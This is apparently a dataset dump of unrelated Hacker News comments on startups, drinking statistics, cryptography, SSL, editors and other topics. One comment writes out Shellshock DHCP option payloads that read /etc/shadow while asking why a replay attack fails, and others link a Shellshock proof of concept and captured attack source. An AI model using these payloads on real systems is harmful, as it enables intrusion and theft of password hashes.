skysight-inc/HackerNews huggingface dataset:
In response to a question about identifying fast-growing markets:

"The good news about this is that this is one of the big advantages students have. You should just trust your instincts on this. Older people have to basically guess about the technologies...that young people are using. Because young people get older and become the dominant market. But you can just watch what you're doing and what your friends are doing and you will almost certainly have better instincts on fast-growing markets than anybody older than you."

Vivek Wadhwa conducted a fairly large study[1] on successful technology company founders and discovered that the median age when they started their companies was close to 40. This seems to be in direct conflict with Altman's statements, so I wonder what statistics he has to back them up.

Also, for all the talk about fast-growing markets and building huge companies, it's somewhat useful to look at who is actually making money and how much. In 2009, just 3% of all taxpayers who earned $1 million or more were under the age of 35 and of those reporting more than $10 million in adjusted gross income, only 409 were under 35[2]. Since a significant percentage of million dollar-plus earners are self-employed business owners, a lot of old farts running businesses are doing something right even if, according to Sam Altman, they have a harder time spotting fast-growing markets.

[1] http://www.washingtonpost.com/national/on-innovations/the-ca...

[2] http://taxfoundation.org/article/who-are-americas-millionair...
For those not aware, cane toads were introduced to Australia to tackle a native beetle which was feasting on sugar cane crops. The cane toads are somewhat poisonous and have spread aggressively. You can read more and see an animated map of their progress across Australia here:

http://en.wikipedia.org/wiki/Cane_toads_in_Australia
Now that the knowledge of how to start a high growth startup has become so well distributed it's amazing how few seed deals Silicon Valley firms actually do. Even YC only invests in dozens of companies per year.

Only a tiny fraction of would-be founders actually attempt to jump through the hoops to raise money. Only a fraction of those succeed. And yet just about any team of hungry and determined tech workers has a chance at creating something of immense value in the world. Advances in technology have created many more opportunities than we can deal with.

A single VC firm could fund 10,000 teams at $100k/each reasonably easily. Based on something as simple as LinkedIn profiles maybe.
The home of pub-glassing.
As someone who has always used vim, what are the benefits of this system over a standard vim installation?
According to Agner Fog, data domain penalties with SHUFPS are nonexistent, or at least pretty hard to trigger, on Haswell. Previous chips might complain, though. Problem with blends is that they require SSE4.1+, unlike the current version that is fully SSE2 (modulo AVX encoding niceties).

I chose 'w' for no real reason other than being thinking of 'word' at the time.
> legally entitled to break into your house even if you don't want them to.

You even admit I'm right yet claim I'm not. So I'm kinda confused.

The key phrase there is "break in". As in, they acquire access without the consent of the owner. In this case, the "door" is the encryption key which they are expected to acquire and/or break so that they can gain access.

A conventional door you can:

1) Get a locksmith to essentially duplicate the essential function of a key to gain access. [Steal the Key]

2) Kick it in. [Brute Force]

3) Convince the owner to cooperate. [Social engineering]

They have the same options to acquire an encryption key. The fact it makes their job more difficult isn't relevant.

Cash makes their job more difficult as well since its essentially anonymous when handled with gloves. Should we ban cash and gloves too?
Copying the fingers is the most common operation. Every cons/decons requires copying one of the fingers. Operations that propagate deeper into the tree are lazy, so the primary factor affecting performance of common operations is time required to copy one of the fingers. The result of using a higher branching factor would be copying a larger memory block many times.
Modern SSL has two functions: preventing over the wire snooping and anti phishing.

Your points are really valid for the former, but the CA's as big business and government entities seem well placed to counter phishing.
First, I don't see any controversy in that opinion. I'd go even farther and say it would be very surprising if governments don't have certificate minting abilities to MITM SSL connections.

The only thing that holds them back (even still) is probably risk of exposure. They don't do this except on very high-value targets, at the risk of burning the CA they control.
I try not to judge the past I suppose.
Agreed. "Work smart, not hard" is very cliche by now, but it very much rings true. Working blindly burning the midnight oil is the easy way out with suspended thought.

As my friend says, "If you can't take a few days off at a startup, you're doing something wrong. Yes you need to work hard, but honestly not that hard."

Great point about talking to someone with no vested interest.
What's HN's attitude towards SafeCurves[1]? I know djb knows his stuff, but the very binary "safe" / "unsafe" breakdown seems a bit dubious. gmaxwell wrote a nice forum post[2] explaining why secp256k1 is safe for Bitcoin despite its inclusion in the unsafe curves list.

[1]: http://safecurves.cr.yp.to/
[2]: https://bitcointalk.org/index.php?topic=380482.msg4083612#ms...
It truly is mind-boggling there aren't more companies doing that. Having even one employee dedicated to answering questions for an hour when a thread pops up in a remotely popular place is so beneficial:

- It is directly helpful to users and casts a good light on your company

- It makes the company look more human and composed of actual people, rather than automatons (think Google)

- It provides a way to clear up potential PR disasters, misunderstandings etc when the eventual user comes up with whatever conspiracy theory is en vogue that day (there's always one)
Actually, looking more carefully at the Fish webpage I think they cite 7 as an example because 7 does not divide 2^32+/-1 (or indeed 2^64+/-1). If it did, the quotient would be a "magic number".

However, 7 does divide 2^33 - 1. This "magic number" does fit in a 32 bit word. It's just that division by 2^33 - 1 isn't as trivial as division by 2^32 +/- 1 (it's not much worse though).

Multiplication by/storage of a 33 bit number also isn't a problem anyway, because you can use the "IEEE trick" of storing the leading 1 bit implicitly. Multiplication by such a number can be done with one multiply and one addition. Not that you actually need to do this for the divisor 7.

The original Montgomery-Granlund work (apparently the basis of GCC division by invariant integers for quite a while) was to always find a quasi-"magic number" which fits in a word. So that was definitely not the innovation of Fish.

The followup paper of Moller-Granlund does even better by using a mullow instead of a full mul or mulhigh, which is usually available sooner on modern processors.

Fish seem to have found some highly optimised sequences. I'm not entirely clear on how new the ideas themselves are. It's clearly not the same as Montgomery-Granlund, but Montgomery-Granlund use (B^2 - 1)/d (where admittedly d has to be first "normalised"), Fish uses (2^p*B)/d where they fiddle the dividend and do some post-shifting.

I'm not even sure if Fish is better than Moller-Granlund, though the latter was 2009, not 1994.

I don't want to take away from the contribution of Fish. But it just needs to be viewed in the context of rather a lot of previous work.
Assuming it's a network full of machines who haven't bothered updating yet. EDIT: right?
Did anyone else feel sad when Sam skipped over two pages of notes? I hope we'll get a chance to read them or hear them in a future lecture.
Aggregation of multiple requests with centralized error handling would be really nice, I guess that could be built from the outside though.
Basic statistics: just because the average in the top decile is 74, that doesn't mean everyone in the top decile drinks 74. The top 5%/1%/0.1% who drink way more than 74/week (15/day? 20/day?) can counter-balance the 5-8/day crowd.

To give another example: the average top decile Facebook employee has a net worth over $33 Million. That seems high, but that's because that net worth is highly skewed - in fact, I assumed only Mark Zuckerberg's wealth was distributed equally among FB's ~10k employees, and that everyone else has $0. The figure $33 Million is meaningless.
actually i think younger founders have a lot more disadvantages, so it's very important to be aware of the advantages they do have. spotting market trends, stamina, and a relatively distraction-free life are at the top of the list.
sorry about that. going to try to add to the last lecture of the course.
I'm not sure why you got downvoted so much! I haven't seen 125 ml as a serving size any place I've been to.
An then there is Dieter Binninger[1] who not only build the weirdest clock of Berlin[2] (still working) but also developed a Langlebensdauerglühlampe with a guaranteed life time of 150.000 hours.

[1] http://de.wikipedia.org/wiki/Dieter_Binninger [german]

[2] http://en.wikipedia.org/wiki/Mengenlehreuhr
You know, while i hate Murdoch and what he's doing, this doesn't mean that i'll be blind-eyed to the bad things Google is doing alongside the good things. You're being no better than Murdoch in your blind defenses.

> That's a joke, right?

Absolutely not. Why should it? There is no need to lay bare the entire thing, but a change log has no reason to be hidden.

> You should re-read News Corps' claims

I did, and while they do not say "Google Play" outright (since it involves actually MORE things than Google Play), they very clearly state that they are talking about things other than the core OS package:

Google has developed a "certification"
process for *Android-related products*
The article says: "But in order to break into the top 10 percent of American drinkers, you would need to drink more than two bottles of wine with every dinner." And according to Watson that's 10 drinks ;-) (http://www.rethinkingdrinking.niaaa.nih.gov/default_wine.asp)
U.S. Military's 21st Century Robots of War (2013)
Life. At least it'll continue to exist in some form.
Its more like "Give your house keys and safe combination to BigCorp, so that if we get a warrant for the contents of your safe, we can serve the warrant on BigCorp and more easily covertly execute the warrant without you knowing that it has happened. And try not to worry that no one at BigCorp will ever abuse the fact that they have your house keys and safe combination, or fail in their responsibility to safeguard those items from criminals."
I've only just started reading it, but does anyone know what they mean by "In the circumstances it might be more of a eulogy than a birth announcement"?
Learn to Code While Playing Games. A Video by Tekzilla
PHP is specifically designed to deal with unsanitized user input.

bash is not, seems pretty obvious
Thanks for the answers, it's helpful. I would say though that for the people who this is most useful for (journalists, photographers, etc) they probably don't want to use it.

In order to claim a file they have to send a public tweet for a single file. That's a good way to fill up their feeds with random resources they're using. I think metadata is much more useful for them.

That's not to say the blockchain can't be used to great effect, I just think that there should be a more private way to claim resources. (Maybe profiles linked directly to twitter with a history of uploads.) If I just upload something without claiming it first, it's just some numbers. If I claim it separately on the site, it's no better than just uploading the file to my site before anyone else and therefore having the earliest record of use.

Maybe this has been considered, I'm only thinking aloud. :p
> “market something expressly to allow people to place themselves beyond the law.”

Why isn't he complaining about Starbucks? Conspirators can meet in a Starbucks and discuss illegal things over coffee. If Starbucks cared about people, they'd bug all of the tables.
Marc Andreessen Warns of Startups’ Cash Burn
Why is it so bad to have a bad employee among the first employees ? I don't understand why it is that bad because it seems that if he/she is bad, you'll notice quickly and then can just fire him/her. Even here in Belgium where employee contracts protect more the employees than the company (at least that's the theory), at the starting period, firing can be done very quickly and I think it can be done even more easily in the US.

Also I think the best way to see if someone's good or bad is to put that person to work. This would e.g. mean that if you have filtered out candidates to 8 persons, you could get the one you prefer to work for 1 week. If your choice was bad, you try the second. In the worst case, you have made a very deep assessment of 8 candidates in two months. I mean that I don't understand the point of recruitment processes that take weeks with all kind of proxy metrics for how a candidate would fit in a very small team.

If you can't find out in a week that the person is bad, how can a recruitment process be better ?

Edit: I'm surprised by how the 1 (paid, in my mind) work week is perceived in the (so far) 3 answers below. It happens all the time to have phone interviews, HR interviews, technical interviews, possibly pseudo-psychological tests, and technical tests in a recruitment process. All that time without being paid (sometimes well before you know what the salary could be). It's all about trade-off, I'm not talking about ditching the selection process and instead hire-and-fire liberally. My question was really just about why is it so damageable to get a bad hire.
Usually, I have found that taking a step back and understanding that the startup is a part of your life, and not your entire life (even though it may feel like it consumes you),helps in preventing burnout. Having friends and family around or even a hobby can help. The other tip I have discovered is looking at the burnout as a problem solving exercise. Think of why everything seems hard, why you're not motivated, figure out which parts you can solve and which you can't, and solve the parts you can, piece by piece.
I love seeing this on the front page. I've been a Vim user for a few years and feel like there isn't a ton of help out there for switching to emacs + evil.
A new documentary on the life of Aaron Swartz
Nice, I wish we could have Taobao in the West, or at least be able to browse it in English. I've read elsewhere that many Chinese run Taobao stores as a "national hobby".
"You cannot purchase a 100 watt bulb anymore, because the government says so."

You can purchase them here:
http://www.amazon.com/GE-41036-100A-Light-bulbs/dp/B000U7Q7P...
>because they knew Ruby

If the only language I know is Visual Basic should I code my web stack in Visual Basic and deploy it to Microsoft Azure?

A surefire way to tell if a developer is lazy(and not in the good way) and takes little pride in their work is if they show an interest in a platform or language solely because its in a language they are familiar with, instead of picking tools that are the best for the job at hand. I mean this reasonably of course, if your app is a reasonably good fit for Ruby and you're familiar with Ruby more power to you. I just don't understand companies developing odd domain specific/specialized software in languages and platforms not meant for it and then complaining that it runs too slow.

Something I'm also unsure of is why almost every company these days seems to be choosing Rails to build on. It doesn't seem to be that they are just picking the language which has the largest available pool of developers available; from what I've read Ruby as a language was completely obscure until Rails came along, and even now isn't used much outside of Rails and the occasional script. Python is really popular and used in many domains ranging from web to scientific computing to interfaces for stuff like Arduinos and has a batteries-included de-facto web framework, Django, so I would imagine there were more Python programmers available, but you see far fewer companies using a Python stack. Java also has lots of battle tested web systems and there is a sea of cheap Java developers(might as well hire a cheap dev if your initial product is going to be a rushed piece of shit), though it is verbose, has a longer dev cycle, and is considered to be for the enterprise type businesses run by Wall Street fat cats everyone is trying to "disrupt".

Is it because Rails is just trendy, or some other reason?
> 125ml is actually about how much wine you should be pouring into a glass at a time.

150ml-187.5ml (4-5 glasses per 750ml bottle) is probably more normal.
10/Fifth: More people multiplies communication overhead exponentially, slows everything down. Company bogs down, becomes bad place to work.

Warning: pedantic.

Adding people increases communication overhead quadratically, not exponentially. To see why, consider the complete graph on n vertices (people), K_n. The number of edges (lines of communication) in K_n is n(n-1)/2, i.e., proportional to n^2.
I created a python + scapy poc:

https://github.com/mschwager/shellshock_poc

I tested it with my laptop and android phone on my wifi network.
I can not find other editors support switching between markup and rich formatting on the fly.
A single VC firm could drop 10 billion dollars? I think you've put a few too many zeros...
The Coming Era of Self-Assembly Using Microfluidic Devices
I really appreciate their transparency with their stability report ( http://rethinkdb.com/stability/ ). It's even linked right on the front page and shows what type of issues you can expect at scale.
I've tried to replay this attack in VM environment using Debian, but no luck.

option dhcp_114_FW_URL code 114 = text;
option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow"

or

option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow";

not working.

dhcpdump says that option sends correctly:
OPTION: 53 ( 1) DHCP message type 5 (DHCPACK)
OPTION: 54 ( 4) Server identifier 192.168.1.1
OPTION: 51 ( 4) IP address leasetime 600 (10m)
OPTION: 1 ( 4) Subnet mask 255.255.255.0
OPTION: 3 ( 4) Routers 192.168.1.1
OPTION: 15 ( 39) Domainname () { :;}; cat /etc/shadow > /tmp/shadow

What could be the problem?
I understand the idea, but again: there aren't many third parties that are qualified to evaluate crypto code at all.
Hardly a factor ten.

Holodomor, the great purge, the red terror, forced resettlements, Gulag... Values between 8 and 61 millions, depending on if the starving are part of that.

http://en.wikipedia.org/wiki/Mass_killings_under_Communist_r...
Same attack hit my server... They're looking for Cpanel sites (defaultwebpage.cgi). Here's a paste of the source in case it goes away:

http://pastebin.com/UdJZqUyV
This assumes that "communication overhead" is proportional to the number of dyads; I can certainly see why one might suspect that to be the case, but I certainly don't see that it is implausible that that overhead would expand faster than that (I don't see an obvious theoretical foundation for literally "exponential" growth, but I wouldn't reject it out of hand, either. Of course, you'd probably want a clearer operationalizations of "overhead" to answer that question.)
Will Silicon Valley Have Its NFL Moment?
Unconscious bias is why we don't have a diverse workplace, says Google
What’s a strategic plan and why your startup needs one
if you were to have five drinks every weeknight (which seems doable, but still high)

Perhaps instead of drinking them all at once, a couple of drinks at lunch, and a few in the evening. It's easy to drink a lot more when you spread it out over the day. You can drink a lot and never get drunk that way.

Or if you're a high-powered movie lawyer, a shot from your whiskey carafe every time you talk to a client in your office.
You'd be surprised at how hard it is to mentally get yourself in the position to fire one of your early employees. Also, I've seen founders delude themselves over someone's competence for months.

Hiring and firing willy nilly is also very, very bad for morale. And those people you interviewed two weeks ago will be starting a job for someone else and you'll have to start hiring all over again.
It's actually only 1 billion, not that that or "managing 10,000 investments at once" is actually reasonable.
It sounds like what you're proposing is turning the first week(s) into part of the recruitment process (a probation period basically). That approach has its own issue, but I interpreted Sam's point differently. The problem isn't about recruiting process not sufficient to determine whether an employee is good or bad, but rather about knowingly hire a mediocre employee, for one reason or another.
On shared hosting systems, you have to design the system with the assumption that someone is always compromised. So, additional accounts getting compromised should just be business as usual.

Seriously, if you're on shared hosting, it's almost certain that at least one person on the server is compromised/malicious
If I have a second house that I never use I still have to pay tax on it. The tax man doesn't care whether I use it or not.
Unfortunately that's always a risk when you develop for FB or any platform. If it is bad for users (like most of the Zynga notifications were) or something they want to pursue themselves (like birthday gifting), then bad luck. You get the advantage of their distribution at the cost of platform risk.
You have a hard time believing that statement, or you'd rather not? 'cause other than calling the author a liar, you're saying it's not possible for someone to be excited about the language. That's awfully presumptuous.
That's sort of, but not really, what Safecurves means. The curves marked "not safe" are mostly not misuse-resistant. It's much easier to end up with security vulnerabilities working with them than with the curves Bernstein and Lange design, which are designed for performance and to be bulletproof in actual use.

(There is an idea in Safecurves of "rigidity", which is roughly the extent to which we can be sure that the curve parameters weren't chosen to somehow advantage their designers; the curves mentioned in this post are not particularly rigid. If you believe the NIST curves are all backdoored, then yes, you can't trust these curves).
lmao "embargo" seriously? How are there still people in every single one of these threads whining about responsible disclosure. The fact that they tried to "responsibly disclose" and "embargo" and THIS is what happened is proof of why not to even bother. So silly...
I think the bigger problem with LED bulbs is that they are so much cheaper to manufacture, but the lightbulb companies think they have the right to charge exorbitant prices for them just to maintain their profit margin. If a new product comes around that lasts 10x as long and is 10x cheaper to make, the market is supposed to make sure that you shrink radically in terms of revenue and profit. The belief that they have some divine right to continued levels of high profit is inane.